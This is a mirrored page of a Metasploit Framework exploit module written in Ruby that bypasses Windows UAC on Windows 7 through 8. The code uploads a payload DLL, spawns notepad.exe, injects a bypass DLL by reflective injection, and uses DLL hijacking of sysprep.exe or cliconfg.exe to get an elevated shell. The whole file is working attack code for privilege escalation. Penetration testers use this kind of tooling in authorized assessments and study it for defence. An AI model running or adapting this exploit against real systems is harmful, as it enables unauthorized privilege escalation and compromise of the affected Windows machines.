CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_injection.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::EXE
10
include Exploit::FileDropper
11
include Post::File
12
include Post::Windows::Priv
13
include Post::Windows::ReflectiveDLLInjection
14
include Post::Windows::Runas
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
21
'Description' => %q{
22
This module will bypass Windows UAC by utilizing the trusted publisher
23
certificate through process injection. It will spawn a second shell that
24
has the UAC flag turned off. This module uses the Reflective DLL Injection
25
technique to drop only the DLL payload binary instead of three separate
26
binaries in the standard technique. However, it requires the correct
27
architecture to be selected, (use x64 for SYSWOW64 systems also).
28
If specifying EXE::Custom your DLL should call ExitProcess() after starting
29
your payload in a separate process.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
34
'mitnick',
35
'mubix', # Port to local exploit
36
'Ben Campbell', # In memory technique
37
'Lesage', # Win8+ updates
38
'OJ Reeves' # Win 8+ updates
39
],
40
'Platform' => [ 'win' ],
41
'SessionTypes' => [ 'meterpreter' ],
42
'Targets' => [
43
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
44
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
45
],
46
'DefaultTarget' => 0,
47
'References' => [
48
['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'],
49
['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html']
50
],
51
'DisclosureDate' => '2010-12-31',
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
stdapi_railgun_api
56
stdapi_sys_process_attach
57
stdapi_sys_process_memory_allocate
58
stdapi_sys_process_memory_write
59
stdapi_sys_process_thread_create
60
]
61
}
62
}
63
)
64
)
65
end
66
67
def exploit
68
# Validate that we can actually do things before we bother
69
# doing any more work
70
validate_environment!
71
check_permissions!
72
73
# get all required environment variables in one shot instead. This
74
# is a better approach because we don't constantly make calls through
75
# the session to get the variables.
76
env_vars = get_envs('TEMP', 'WINDIR')
77
78
case get_uac_level
79
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
80
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
81
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
82
fail_with(Failure::NotVulnerable,
83
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
84
when UAC_DEFAULT
85
print_good('UAC is set to Default')
86
print_good('BypassUAC can bypass this setting, continuing...')
87
when UAC_NO_PROMPT
88
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
89
shell_execute_exe
90
return
91
end
92
93
dll_path = bypass_dll_path
94
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
95
96
upload_payload_dll(payload_filepath)
97
98
pid = spawn_inject_proc(env_vars['WINDIR'])
99
100
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
101
run_injection(pid, dll_path, file_paths)
102
103
# Windows 7 this is cleared up by DLL but on Windows
104
# 8.1 it fails to delete the file.
105
register_file_for_cleanup(file_paths[:szElevDllFull])
106
end
107
108
def bypass_dll_path
109
# path to the bypassuac binary
110
path = ::File.join(Msf::Config.data_directory, 'post')
111
112
sysarch = sysinfo['Architecture']
113
if sysarch == ARCH_X64
114
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
115
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
116
end
117
elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
118
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
119
end
120
121
::File.join(path, "bypassuac-#{sysarch}.dll")
122
end
123
124
def check_permissions!
125
# Check if you are an admin
126
vprint_status('Checking admin status...')
127
admin_group = is_in_admin_group?
128
129
if admin_group.nil?
130
print_error('Either whoami is not there or failed to execute')
131
print_error('Continuing under assumption you already checked...')
132
elsif admin_group
133
print_good('Part of Administrators group! Continuing...')
134
else
135
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
136
end
137
138
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
139
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
140
end
141
end
142
143
def run_injection(pid, dll_path, file_paths)
144
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
145
begin
146
path_struct = create_struct(file_paths)
147
148
vprint_status("Opening process #{pid}")
149
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
150
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
151
152
vprint_status("Injecting struct into #{pid}")
153
struct_addr = host_process.memory.allocate(path_struct.length)
154
host_process.memory.write(struct_addr, path_struct)
155
156
vprint_status('Executing payload')
157
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
158
print_good("Successfully injected payload in to process: #{pid}")
159
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
160
rescue Rex::Post::Meterpreter::RequestError => e
161
print_error("Failed to Inject Payload to #{pid}!")
162
vprint_error(e.to_s)
163
end
164
end
165
166
# Create a process in the native architecture
167
def spawn_inject_proc(win_dir)
168
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
169
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
170
cmd = "#{win_dir}\\sysnative\\notepad.exe"
171
else
172
cmd = "#{win_dir}\\System32\\notepad.exe"
173
end
174
pid = cmd_exec_get_pid(cmd)
175
176
unless pid
177
fail_with(Failure::Unknown, 'Spawning Process failed...')
178
end
179
180
pid
181
end
182
183
def upload_payload_dll(payload_filepath)
184
payload = generate_payload_dll({ dll_exitprocess: true })
185
print_status('Uploading the Payload DLL to the filesystem...')
186
begin
187
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
188
write_file(payload_filepath, payload)
189
register_file_for_cleanup(payload_filepath)
190
rescue Rex::Post::Meterpreter::RequestError => e
191
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
192
end
193
end
194
195
def validate_environment!
196
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
197
198
version_info = get_version_info
199
# According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md
200
if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)
201
print_good("#{version_info.product_name} may be vulnerable.")
202
else
203
fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")
204
end
205
206
if is_uac_enabled?
207
print_status('UAC is Enabled, checking level...')
208
else
209
unless is_in_admin_group?
210
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
211
end
212
end
213
end
214
215
def get_file_paths(win_path, payload_filepath)
216
paths = {}
217
218
version_info = get_version_info
219
if version_info.win7_or_2008r2?
220
paths[:szElevDll] = 'CRYPTBASE.dll'
221
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
222
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
223
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
224
else
225
paths[:szElevDll] = 'NTWDBLIB.dll'
226
paths[:szElevDir] = "#{win_path}\\System32"
227
# This should be fine to be left blank
228
paths[:szElevDirSysWow64] = ''
229
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
230
end
231
232
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
233
paths[:szTempDllPath] = payload_filepath
234
235
paths
236
end
237
238
# Creates the paths struct which contains all the required paths
239
# the dll needs to copy/execute etc.
240
def create_struct(paths)
241
# write each path to the structure in the order they
242
# are defined in the bypass uac binary.
243
struct = ''
244
struct << fill_struct_path(paths[:szElevDir])
245
struct << fill_struct_path(paths[:szElevDirSysWow64])
246
struct << fill_struct_path(paths[:szElevDll])
247
struct << fill_struct_path(paths[:szElevDllFull])
248
struct << fill_struct_path(paths[:szElevExeFull])
249
struct << fill_struct_path(paths[:szTempDllPath])
250
251
struct
252
end
253
254
def fill_struct_path(path)
255
path = Rex::Text.to_unicode(path)
256
path + "\x00" * (520 - path.length)
257
end
258
end
259
260